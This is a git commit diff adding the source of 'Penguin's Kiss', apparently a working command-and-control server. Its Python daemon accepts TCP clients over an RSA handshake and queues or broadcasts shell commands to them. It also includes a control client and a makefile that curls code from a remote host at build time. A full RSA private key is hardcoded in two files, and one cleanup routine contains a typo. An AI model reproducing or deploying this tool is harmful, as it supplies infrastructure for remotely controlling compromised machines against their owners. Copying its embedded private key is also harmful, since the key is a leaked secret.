summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--.gitignore8
-rw-r--r--default_key.json1
-rw-r--r--makefile4
-rwxr-xr-xpkctl.py172
-rw-r--r--pkd_stub.py553
-rw-r--r--pkdnull.py62
6 files changed, 800 insertions, 0 deletions
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..923c80b
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,8 @@
+pkd.py
+pkcli.py
+pkdkey.json
+*.pid
+*.sock
+*.log
+*.pyc
+__pycache__/
diff --git a/default_key.json b/default_key.json
new file mode 100644
index 0000000..46b40af
--- /dev/null
+++ b/default_key.json
@@ -0,0 +1 @@
+{"n" : 566985700738319622174686131400034453643720466970978517574628629274979976524124940713860540038882426013024114564601644133774454954579859603022526047211561634473245368041734849645333850659593387029777461624139999293346678168096585398894872902836488432305321788895930893995350254306011511954048973993218576068120842406854381660868440914954041085267631248545101914138883676131275460708745009456577214046268195248043933401098454229528930264593554947172986600022924103676180205323189749504546460222696144254434950563003806500524021358243739253925888283568187475109036444929999292467231057057868003949542201486910774286204467263359268168124928585201908563486221036238676222817747434022603388355897696091620276281574099795985472307965135468502881374317279001616973398539298555877212283138431306761372378738101671232030286096798836533645647014376468992868000495595560982785914820504104078715279785802300066599327401921364225207587243296778060887445799525002269634182195900334989318967452442166075135355126785800284396564017524632233821326493688824504309419677467169118434525079593731269479730143537689127087750148171355493757239210404790175123435648784211703985569364347710928586741341454862278795609365544396160373248258804813219121521794117, "d": 556837628245436992258594353745698118228243955874087329373840686858641854357062082245249550621215930968800587604498530952381998240636252551824799220329355219818361610519831879130449485998047954022683316904590489563406405444426333561415224980059626492773543671826566612159798644554253703334153350963570508721005384754791574549035450677481451705329292120197093849300930908197101084167076060678138086956589500876529284670160381281251812984272999536442652387565428490913738235430699986833553997982416263008566934068345774167260144814410181017435736659956708708789203377351335496900390004981500773703531352617659109757194578984857180398552528891333113022224791018685454843296797667603791554700637297860618002492108978467427456668104433428337512441346843300723241861425217786682449652009806902779786726468810049128846369952153062504613238668046106715766225913013878725374564881609360260298003325733625331843908626880708147525900261607013505358791540629330161310254014903842144797601317221440909449161962394110410342659474869213071878556273369065034348504204889807185950624322995301874762713559375336446823625047623366082274935910850205164805850493608044771494978419878162374325380208609212967302669554969905283343054612922077635187252461953, "e": 65537}
diff --git a/makefile b/makefile
new file mode 100644
index 0000000..6f4004b
--- /dev/null
+++ b/makefile
@@ -0,0 +1,4 @@
+all:
+ (echo "#!"`which python` && curl -s https://war.cflems.net/warcrypto.py && cat pkd_stub.py) >pkd.py
+clean:
+ rm -f pkd.py *.pid *.sock *.log
diff --git a/pkctl.py b/pkctl.py
new file mode 100755
index 0000000..cb833f1
--- /dev/null
+++ b/pkctl.py
@@ -0,0 +1,172 @@
+#!/usr/bin/python
+import os, sys, signal, socket, threading, time
+
+# basic config
+#SOCKET_FILE = "/run/pk/pk.sock"
+#PID_FILE = "/run/pk/pk.pid"
+#DAEMON_FILE = "/usr/bin/pkd"
+#LOGFILE = "/var/log/pk.log"
+SOCKET_FILE = "./pk.sock"
+PID_FILE = "./pk.pid"
+DAEMON_FILE = "./pkd.py"
+LOG_FILE = "./pk.log"
+KEY_FILE = "./pkdkey.json"
+DAEMON_PORT = 2236
+DAEMON_BITS = 4096
+#TODO:
+#KEY_FILE=....json
+#SWITCH_USER=pkd
+#pass port, bits, key file to server
+
+def isd_running():
+ return os.path.isfile(PID_FILE)
+
+def startd():
+ return os.system('python %s %s %s %s %d %d %s' % (DAEMON_FILE, SOCKET_FILE,\
+ PID_FILE, LOG_FILE, \
+ DAEMON_BITS, DAEMON_PORT,\
+ KEY_FILE))
+
+def signald(sig):
+ if not isd_running():
+ return False
+ pidf = open(PID_FILE, 'r')
+ pid = int(pidf.read().strip())
+ pidf.close()
+ try:
+ os.kill(pid, sig)
+ except ProcessLookupError:
+ os.remove(PID_FILE)
+ return False
+ return True
+
+def pnnl(s):
+ sys.stdout.write(s)
+ sys.stdout.flush()
+
+def print_help():
+ print('Usage: %s COMMAND [OPTIONS]...' % sys.argv[0])
+ print('Dispatch COMMAND to the PK Daemon.')
+ print('Example: %s attach' % sys.argv[0])
+ print()
+ print('Commands:')
+ print('\tstart\t\t\t\tstart the daemon')
+ print('\tstop\t\t\t\tstop the daemon')
+ print('\trestart\t\t\t\trestart the daemon')
+ print('\tattach\t\t\t\tcontrol the daemon via attached screen')
+
+def start_cmd():
+ return startd() == 0
+
+def stop_cmd():
+ return signald(signal.SIGTERM)
+
+def attach_reader(sock, state):
+ while state['attached']:
+ try:
+ data = sock.recv(1024)
+ except:
+ data = b'\xde\xad'
+ if data == b'\xde\xad':
+ state['attached'] = False
+ break
+ if len(data) > 0:
+ pnnl(str(data, 'utf-8'))
+ sock.close()
+ threading.main_thread().join()
+
+def attach_cmd():
+ if not isd_running():
+ return False
+
+ sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
+ state = {}
+ reader_thread = threading.Thread(target=attach_reader, args=(sock, state))
+
+ try:
+ sock.connect(SOCKET_FILE)
+ except:
+ sock.close()
+ return False
+ state['attached'] = True
+ reader_thread.start()
+ while state['attached']:
+ try:
+ line = input().strip()
+ except EOFError:
+ print('detach')
+ line = 'detach'
+ if line == 'detach':
+ try:
+ sock.sendall(b'\xde\xad')
+ except:
+ pass
+ state['attached'] = False
+ elif line == 'clear':
+ os.system('clear')
+ line = '\xc0\xdeprompt'
+ elif len(line) < 1:
+ line = '\xc0\xdeprompt'
+ if not state['attached']:
+ break
+ try:
+ sock.sendall(bytes(line, 'utf-8'))
+ except:
+ state['attached'] = False
+ break
+
+ sock.close()
+ return True
+
+def exec_cmd(*args):
+ pass
+
+def main():
+ if len(sys.argv) < 2 or sys.argv[1] == 'help':
+ print_help()
+ elif sys.argv[1] == 'start':
+ if len(sys.argv) > 2:
+ print('Unrecognized option(s):', *sys.argv[2:])
+ print_help()
+ return
+ if start_cmd():
+ print('Daemon started.')
+ else:
+ print('Failed to start daemon.')
+ elif sys.argv[1] == 'stop':
+ if len(sys.argv) > 2:
+ print('Unrecognized option(s):', *sys.argv[2:])
+ print_help()
+ return
+ if stop_cmd():
+ print('Dispatched stop command to daemon.')
+ else:
+ print('Failed to stop daemon; ensure it is running.')
+ elif sys.argv[1] == 'restart':
+ if len(sys.argv) > 2:
+ print('Unrecognized option(s):', *sys.argv[2:])
+ print_help()
+ return
+ if stop_cmd():
+ print('Dispatched stop command to daemon.')
+ time.sleep(2)
+ else:
+ print('Daemon was not running so will not be stopped.')
+ if start_cmd():
+ print('Daemon started.')
+ else:
+ print('Failed to start daemon.')
+ elif sys.argv[1] == 'attach':
+ if len(sys.argv) > 2:
+ print('Unrecognized option(s):', *sys.argv[2:])
+ print_help()
+ return
+ if attach_cmd():
+ print('Detached from daemon; quitting.')
+ else:
+ print('Cannot contact daemon; ensure it is running.')
+ else:
+ print('Unrecognized command:', sys.argv[1])
+ print_help()
+if __name__ == '__main__':
+ main()
diff --git a/pkd_stub.py b/pkd_stub.py
new file mode 100644
index 0000000..b6ef8d4
--- /dev/null
+++ b/pkd_stub.py
@@ -0,0 +1,553 @@
+import os, sys, socket, threading, signal, json
+from concurrent.futures import ThreadPoolExecutor
+
+# initial crypto config
+SERVER_PROMPT = b'# '
+CONNECTED_PROMPT = b'$ '
+DEFAULT_PRIVKEY = {
+ 'n' : 566985700738319622174686131400034453643720466970978517574628629274979976524124940713860540038882426013024114564601644133774454954579859603022526047211561634473245368041734849645333850659593387029777461624139999293346678168096585398894872902836488432305321788895930893995350254306011511954048973993218576068120842406854381660868440914954041085267631248545101914138883676131275460708745009456577214046268195248043933401098454229528930264593554947172986600022924103676180205323189749504546460222696144254434950563003806500524021358243739253925888283568187475109036444929999292467231057057868003949542201486910774286204467263359268168124928585201908563486221036238676222817747434022603388355897696091620276281574099795985472307965135468502881374317279001616973398539298555877212283138431306761372378738101671232030286096798836533645647014376468992868000495595560982785914820504104078715279785802300066599327401921364225207587243296778060887445799525002269634182195900334989318967452442166075135355126785800284396564017524632233821326493688824504309419677467169118434525079593731269479730143537689127087750148171355493757239210404790175123435648784211703985569364347710928586741341454862278795609365544396160373248258804813219121521794117,
+ 'd': 556837628245436992258594353745698118228243955874087329373840686858641854357062082245249550621215930968800587604498530952381998240636252551824799220329355219818361610519831879130449485998047954022683316904590489563406405444426333561415224980059626492773543671826566612159798644554253703334153350963570508721005384754791574549035450677481451705329292120197093849300930908197101084167076060678138086956589500876529284670160381281251812984272999536442652387565428490913738235430699986833553997982416263008566934068345774167260144814410181017435736659956708708789203377351335496900390004981500773703531352617659109757194578984857180398552528891333113022224791018685454843296797667603791554700637297860618002492108978467427456668104433428337512441346843300723241861425217786682449652009806902779786726468810049128846369952153062504613238668046106715766225913013878725374564881609360260298003325733625331843908626880708147525900261607013505358791540629330161310254014903842144797601317221440909449161962394110410342659474869213071878556273369065034348504204889807185950624322995301874762713559375336446823625047623366082274935910850205164805850493608044771494978419878162374325380208609212967302669554969905283343054612922077635187252461953,
+}
+
+def betterstr(obj):
+ if type(obj) == str:
+ return obj
+ return str(obj, 'utf-8') if type(obj) == bytes else str(obj)
+
+def prompt_str():
+ global tcp_clients
+ return CONNECTED_PROMPT if len(tcp_clients) > 0 else SERVER_PROMPT
+
+def motd():
+ mstr = '################################################################################\n'\
+ + '# Penguin\'s Kiss #\n'\
+ + '# _,\u2764 #\n'\
+ + '# _.--""\'/ #\n'\
+ + '# )-._.-\) #\n'\
+ + '# Command & Control Software #\n'\
+ + '# Contact cflems@cflems.net for support. #\n'\
+ + '################################################################################\n'
+ return bytes(mstr, 'utf-8')
+
+def showcrypto():
+ global privkey
+ return '[warcrypto] Server public key:\n{"n": %d, "e": %d}' % (privkey['n'], privkey['e'])
+
+def dispatch_command(sock, command, rpubkey):
+ global bits
+ send_encrypted(sock, command, rpubkey['e'], rpubkey['n'], bits=bits)
+
+# brint takes a string
+def brint(*args, sep=' ', end='\n', prompt=True):
+ s = '%s%s' % (sep.join(map(lambda s: betterstr(s), args)), end)
+ bnnl(s, logging=prompt)
+
+def bnnl(s, logging=False):
+ sys.stdout.write(betterstr(s))
+ sys.stdout.flush()
+ broadcast_screens(s, sv_prompt=logging, ctd_prompt=logging)
+
+def broadcast_screens(s, skip=set(), sv_prompt=False, ctd_prompt=False):
+ if type(s) != bytes:
+ s = bytes(s, 'utf-8')
+
+ global alive, screens, screens_lock, tcp_clients
+ screens_lock.acquire()
+ if not alive:
+ screens_lock.release()
+ return
+ i = 0
+ while alive and i < len(screens):
+ if screens[i] in skip:
+ i += 1
+ continue
+ try:
+ screens[i].sendall(s)
+ if sv_prompt and len(tcp_clients) < 1:
+ screens[i].sendall(SERVER_PROMPT)
+ if ctd_prompt and len(tcp_clients) > 0:
+ screens[i].sendall(CONNECTED_PROMPT)
+ i += 1
+ except:
+ screens[i].close()
+ del screens[i]
+ screens_lock.release()
+
+def blast_command(cmd, orig_screen, targets=set()):
+ print('[INFO] Blasting command: %s to %s' % (betterstr(cmd), betterstr(targets)))
+ if type(cmd) != bytes:
+ cmd = bytes(cmd, 'utf-8')
+
+ global alive
+ if not alive:
+ return
+ broadcast_screens(cmd+b'\n', skip=[orig_screen], sv_prompt=True, ctd_prompt=False)
+ if not alive:
+ return
+
+ wildcard = len(targets) < 1
+ global cmdq, cmdq_lock, tcpc_lock
+ cmdq_lock.acquire()
+ if not alive:
+ cmdq_lock.release()
+ return
+ tcpc_lock.acquire()
+ i = 0
+ while alive and i < len(tcp_clients):
+ try:
+ if wildcard or i in targets:
+ dispatch_command(tcp_clients[i]['sock'], cmd, tcp_clients[i]['pubkey'])
+ if wildcard:
+ tcp_clients[i]['qidx'] += 1
+ except:
+ tcp_clients[i]['alive'] = False
+ finally:
+ i += 1
+ tcpc_lock.release()
+ if wildcard:
+ cmdq.append(cmd)
+ cmdq_lock.release()
+
+def tcp_handshake(sock):
+ global privkey, bits, exp
+ nbytes, headsz = bits//8, 2
+ rnbytes = int.from_bytes(sock.recv(headsz), 'big')
+ sock.sendall(nbytes.to_bytes(headsz, 'big'))
+
+ if rnbytes != nbytes:
+ return False
+
+ rpubkey = { 'n': int.from_bytes(recv_encrypted(sock, privkey['d'], privkey['n'], bits=bits),\
+ 'big'), 'e': exp }
+
+ dispatch_command(sock, 'set -i', rpubkey)
+ return rpubkey
+
+def tcp_disconnect(client):
+ global alive, tcp_clients, tcpc_lock
+ tcpc_lock.acquire()
+ if not alive:
+ tcpc_lock.release()
+ return
+ client['sock'].close()
+ printdc = False
+ if client in tcp_clients:
+ printdc = True
+ cliidx = tcp_clients.index(client)
+ dcmsg = '[INFO] TCP Client %d disconnected.' % cliidx
+ del tcp_clients[cliidx]
+ tcpc_lock.release()
+ if printdc:
+ brint(dcmsg)
+
+def transport_tcp(client):
+ global tcp_clients, tcpc_lock
+ try:
+ rpk = tcp_handshake(client['sock'])
+ except:
+ rpk = False
+ if not rpk:
+ brint('[INFO] Handshake failed; disconnecting client:', client['addr'])
+ tcp_disconnect(client)
+ return
+ client['pubkey'] = rpk
+
+ global alive, cmdq, cmdq_lock, privkey, bits
+ while alive:
+ if not client['alive']:
+ tcp_disconnect(client)
+ return
+
+ if len(cmdq) > client['qidx']:
+ cmdq_lock.acquire()
+ if not alive:
+ cmdq_lock.release()
+ return
+ if not client['alive']:
+ cmdq_lock.release()
+ tcp_disconnect(client)
+ return
+ if len(cmdq) <= client['qidx']:
+ cmdq_lock.release()
+ continue
+
+ cmd = cmdq[client['qidx']]
+ client['qidx'] += 1
+ cmdq_lock.release()
+ try:
+ dispatch_command(client['sock'], cmd, client['pubkey'])
+ except:
+ tcp_disconnect(client)
+ return
+ else:
+ try:
+ data = recv_encrypted(client['sock'], privkey['d'], privkey['n'], bits=bits)
+ except:
+ data = b'\xde\xad'
+ if not alive:
+ return
+ elif data == b'\xde\xad':
+ tcp_disconnect(client)
+ return
+ elif len(data) > 0:
+ bnnl(data, logging=False)
+
+def serve_tcp():
+ global sockets, tcp_port
+ if tcp_port < 1:
+ brint('[INFO] TCP listener disabled.')
+ return
+
+ sockets['tcp'] = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ sock = sockets['tcp']
+ try:
+ sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+ sock.bind(('0.0.0.0', tcp_port))
+ sock.listen(5)
+ except:
+ brint('[WARNING] Error binding TCP socket, TCP listener will now die.')
+ sock.close()
+ del sockets['tcp']
+ return
+ brint('[INFO] TCP listener started on port %d' % tcp_port)
+
+ global alive, pool, tcp_clients, tcpc_lock
+ while alive:
+ try:
+ cs, ca = sock.accept()
+ except:
+ brint('[WARNING] Error accepting TCP client, moving on.')
+ continue
+
+ if not alive:
+ cs.close()
+ return
+ brint('[INFO] Connection from', ca[0], 'over TCP.', prompt=False)
+
+ tcpcli = {
+ 'addr': ca,
+ 'sock': cs,
+ 'qidx': 0,
+ 'alive': True
+ }
+ tcpc_lock.acquire()
+ if not alive:
+ tcpc_lock.release()
+ return
+ tcp_clients.append(tcpcli)
+ tcpc_lock.release()
+ try:
+ pool.submit(transport_tcp, tcpcli)
+ except RuntimeError:
+ print('OUCH')
+ return
+
+def detach_screen(screen):
+ global screens, screens_lock
+ screens_lock.acquire()
+ if not alive:
+ screens_lock.release()
+ return
+
+ sidx = -1
+ if screen in screens:
+ sidx = screens.index(screen)
+ del screens[sidx]
+ screens_lock.release()
+ try:
+ screen.sendall(b'\xde\xad')
+ except:
+ pass
+ screen.close()
+ brint('[INFO] Screen detaching: %d' % sidx)
+
+def cliinfo(clients):
+ try:
+ info = ''
+ i = 0
+ while i < len(clients):
+ record = {}
+ record['ip'] = clients[i]['addr'][0]
+ record['rport'] = clients[i]['addr'][1]
+ try:
+ record['rdns'] = socket.getnameinfo(clients[i]['addr'], 0)[0]
+ except:
+ pass
+ info += '- %d: %s\n' % (i, str(record))
+ i += 1
+ info += '[pk] %d total.' % i
+ return info
+ except Exception as e:
+ return repr(e)
+
+def screen_reader(screen):
+ global alive, screens, screens_lock, cmdq, cmdq_lock, tcp_clients, tcpc_lock
+
+ try:
+ screen.sendall(motd()+b'\n')
+ screen.sendall(prompt_str())
+ except Exception as e:
+ print('[ERROR] Sending motd produced:', repr(e))
+ detach_screen(screen)
+ return
+
+ while alive:
+ try:
+ data = screen.recv(1024).strip().split(b'\n')
+ except:
+ data = [b'\xde\xad']
+ if not alive:
+ return
+ resp, shcmd = '', False
+ for cmd in data:
+ if not alive:
+ break
+ elif cmd == b'\xde\xad':
+ detach_screen(screen)
+ return
+ elif cmd == b'nscreen':
+ resp = 'Active screens: %d' % len(screens)
+ elif cmd == b'ncli':
+ resp = 'Active TCP clients: %d' % len(tcp_clients)
+ elif cmd == b'lcli':
+ tcpc_lock.acquire()
+ if not alive:
+ tcpc_lock.release()
+ return
+ resp = 'Active TCP clients:\n%s' % cliinfo(tcp_clients)
+ tcpc_lock.release()
+ elif cmd == b'lq':
+ cmdq_lock.acquire()
+ if not alive:
+ cmdq_lock.release()
+ return
+ resp = '[%s]' % ', '.join(map(lambda s : repr(betterstr(s)), cmdq))
+ cmdq_lock.release()
+ elif cmd == b'cq':
+ cmdq_lock.acquire()
+ if not alive:
+ cmdq_lock.release()
+ return
+ cmdq.clear()
+ tcpc_lock.acquire()
+ if not alive:
+ cmdq_lock.release()
+ tcpc_lock.release()
+ return
+ for client in tcp_clients:
+ client['qidx'] = 0
+ tcpc_lock.release()
+ cmdq_lock.release()
+ elif cmd == b'show-serverkey':
+ resp = showcrypto()
+ elif len(cmd) > 0:
+ shcmd = True
+ targets = []
+ if cmd[:7] == b'TARGET=':
+ if b' ' in cmd:
+ sep = cmd.index(b' ')
+ for tval in cmd[7:sep].split(b','):
+ try:
+ targets.append(int(tval))
+ except:
+ resp += '[pk] Invalid target: %s. Must be an integer.\n' % tval
+ cmd = cmd[sep+1:]
+ resp = resp.strip()
+ else:
+ resp = '[pk] Can\'t target null command.'
+ blast_command(cmd, screen, targets=targets)
+ try:
+ if cmd == b'\xc0\xdeprompt':
+ screen.sendall(prompt_str())
+ continue
+ if len(resp) > 0:
+ screen.sendall(bytes('%s\n' % resp, 'utf-8'))
+ if len(tcp_clients) < 1:
+ screen.sendall(SERVER_PROMPT)
+ elif not shcmd:
+ screen.sendall(CONNECTED_PROMPT)
+ except Exception as e:
+ print('[ERROR] Sending command result produced:', repr(e))
+ detach_screen(screen)
+ return
+
+def serve_screens():
+ global sockets
+ try:
+ sockets['screen'] = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
+ sock = sockets['screen']
+ sock.bind(socket_file)
+ sock.listen(5)
+ except:
+ print('[FATAL] Unable to bind socket file.')
+ cleanup()
+
+ global alive, pool, screens, screens_lock
+ while alive:
+ try:
+ screen, _ = sock.accept()
+ except:
+ brint('[WARNING] Error accepting screen attachment, moving on.')
+ continue
+ if not alive:
+ screen.close()
+ return
+
+ screens_lock.acquire()
+ if not alive:
+ screens_lock.release()
+ return
+ screens.append(screen)
+ screens_lock.release()
+
+ try:
+ pool.submit(screen_reader, screen)
+ except RuntimeError:
+ return
+
+def cleanup(*args):
+ global alive, sockets, tcp_port, socket_file
+ brint('[INFO] Received stop signal, shutting down daemon.')
+ alive = False
+ if 'tcp' in sockets:
+ sockets['tcp'].close()
+ try:
+ ws = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ ws.connect(('0.0.0.0', tcp_port))
+ ws.close()
+ except:
+ pass
+ if 'screen' in sockets:
+ sockets['screen'].close()
+ try:
+ ws = socket.socket(socket.AF_UNIX, sockte.SOCK_STREAM)
+ ws.connect(socket_file)
+ ws.close()
+ except:
+ pass
+
+ global tcp_clients, tcpc_lock, screens, screens_lock, bits
+ screens_lock.acquire()
+ for screen in screens:
+ try:
+ screen.sendall(b'\xde\xad')
+ except:
+ pass
+ screen.close()
+ screens_lock.release()
+
+ tcpc_lock.acquire()
+ for client in tcp_clients:
+ try:
+ send_encrypted(client['sock'], b'tunnel', client['pubkey']['e'], client['pubkey']['n'], bits=bits)
+ except:
+ pass
+ client['sock'].close()
+ tcpc_lock.release()
+
+ global pool
+ pool.shutdown(wait=True, cancel_futures=True)
+
+ global pid_file
+ os.remove(pid_file)
+ os.remove(socket_file)
+ os.close(sys.stdout.fileno())
+ os.close(sys.stderr.fileno())
+
+ sys.exit(0)
+
+def defaultint(s, default=0):
+ try:
+ return int(s)
+ except:
+ return default
+
+def main(args):
+ # initialize server
+ if len(args) < 3:
+ print('[FATAL] Insufficient arguments.')
+ sys.exit(1)
+
+ global socket_file, pid_file, tcp_port, bits
+ socket_file = args[0]
+ pid_file = args[1]
+ log_file = args[2]
+ bits = defaultint(args[3], 4096) if len(args) > 3 else 4096
+ tcp_port = defaultint(args[4], 2236) if len(args) > 4 else 2236
+ key_file = args[5] if len(args) > 5 else None
+
+ if os.path.exists(pid_file):
+ print('[FATAL] Another PK instance is already running.')
+ sys.exit(1)
+
+ try:
+ logfd = os.open(log_file, os.O_WRONLY | os.O_APPEND | os.O_CREAT, mode=0o644)
+ except:
+ print('[FATAL] Unable to open log file.')
+ sys.exit(1)
+
+ cpid = os.fork()
+ if cpid > 0:
+ sys.exit(0)
+ elif cpid < 0:
+ print('[FATAL] Failed to fork PK daemon process.')
+ os.close(logfd)
+ sys.exit(1)
+
+ os.close(sys.stdin.fileno())
+ os.dup2(logfd, sys.stdout.fileno())
+ os.dup2(logfd, sys.stderr.fileno())
+ os.close(logfd)
+
+ try:
+ pidf = open(pid_file, 'w')
+ pidf.write('%d' % os.getpid())
+ pidf.close()
+ except:
+ print('[FATAL] Could not open pid file.')
+ os.close(sys.stdout.fileno())
+ os.close(sys.stderr.fileno())
+ sys.exit(1)
+
+ if os.path.exists(socket_file):
+ try:
+ os.remove(socket_file)
+ except:
+ print('[FATAL] Socket file exists and daemon doesn\'t have permission to clear it.')
+ os.close(sys.stdout.fileno())
+ os.close(sys.stderr.fileno())
+ os.remove(pid_file)
+ sys.exit(1)
+
+ global privkey, exp
+ privkey = DEFAULT_PRIVKEY
+ if key_file:
+ try:
+ with open(key_file, 'r') as kf:
+ kj = json.load(kf)
+ privkey = {'n': int(kj['n']), 'd': int(kj['d']), 'e': int(kj['e']) if 'e' in kj else exp}
+ except:
+ pass
+
+ global alive, sockets, pool, screens, tcp_clients, cmdq
+ global screens_lock, tcpc_lock, cmdq_lock
+
+ sockets = {}
+
+ pool = ThreadPoolExecutor()
+ screens = []
+ screens_lock = threading.Lock()
+ tcp_clients = []
+ tcpc_lock = threading.Lock()
+ cmdq = []
+ cmdq_lock = threading.Lock()
+ alive = True
+
+ signal.signal(signal.SIGTERM, cleanup)
+
+ pool.submit(serve_tcp)
+ print('[INFO] Daemon started successfully.')
+ serve_screens()
+
+if __name__ == '__main__':
+ main(sys.argv[1:])
diff --git a/pkdnull.py b/pkdnull.py
new file mode 100644
index 0000000..b5df4f1
--- /dev/null
+++ b/pkdnull.py
@@ -0,0 +1,62 @@
+import os, socket, sys, signal
+
+if len(sys.argv) < 4:
+ print('Bad arguments; exit.')
+ sys.exit(1)
+elif len(sys.argv) > 4:
+ print('Extra args:', sys.argv[4:])
+
+SOCKET_FILE = sys.argv[1]
+PID_FILE = sys.argv[2]
+LOG_FILE = sys.argv[3]
+
+if os.path.exists(PID_FILE):
+ print('Already running; exit.')
+ sys.exit(1)
+
+if os.fork() != 0:
+ sys.exit(0)
+
+def cleanup():
+ global cs, sock
+ try:
+ cs.close()
+ except:
+ pass
+ sock.close()
+ os.remove(PID_FILE)
+ os.remove(SOCKET_FILE)
+ os.close(sys.stdout.fileno())
+ os.close(sys.stderr.fileno())
+
+
+def stopsig(*args):
+ cleanup()
+ sys.exit(0)
+
+signal.signal(signal.SIGTERM, stopsig)
+logfd = os.open(LOG_FILE, os.O_WRONLY | os.O_APPEND | os.O_CREAT, mode=0o644)
+os.close(sys.stdin.fileno())
+os.dup2(logfd, sys.stdout.fileno())
+os.dup2(logfd, sys.stderr.fileno())
+os.close(logfd)
+
+pidf = open(PID_FILE, 'w')
+pidf.write('%d' % os.getpid())
+pidf.close()
+
+sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
+sock.bind(SOCKET_FILE)
+sock.listen(5)
+
+try:
+ cs, ca = sock.accept()
+ while True:
+ cs.send(b'$ ')
+ data = cs.recv(1024)
+ if data == b'\xde\xad':
+ break
+ print('got some data: %s' % str(data, 'utf-8'))
+ cs.send(data+b'\n')
+finally:
+ cleanup()